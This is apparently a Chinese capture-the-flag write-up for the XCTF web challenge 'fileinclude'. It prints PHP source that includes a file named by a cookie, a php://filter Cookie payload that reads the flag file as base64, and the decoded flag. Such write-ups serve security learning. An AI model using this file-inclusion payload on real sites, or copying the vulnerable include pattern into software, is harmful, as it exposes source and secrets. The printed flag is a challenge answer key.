攻防世界WEB练习-fileinclude
目录
题目场景
F12/Ctrl+U查看源码
代码分析
bp抓包
找到flag
题目场景
F12/Ctrl+U查看源码
代码分析
<?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>
源代码中看到` @include($lan.".php"); `，可知此处存在文件包含。
`$lan`的值是从cookie中传过来的。所以对`language`赋值，构造payload，重放包就可读出flag.php经过base64加密后字符串，base64解密后得到flag。
bp抓包
构造payload
Cookie: language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag
注意这里是flag而不是官方提到的flag.php
base64解码
PD9waHANCiRmbGFnPSJjeWJlcnBlYWNle2Y2NzUyNWI4NWNiY2NiZGZhNGMwNTYwN2ZmZjdjZTM0fSI7DQo/Pg=
找到flag
cyberpeace{f67525b85cbccbdfa4c05607fff7ce34}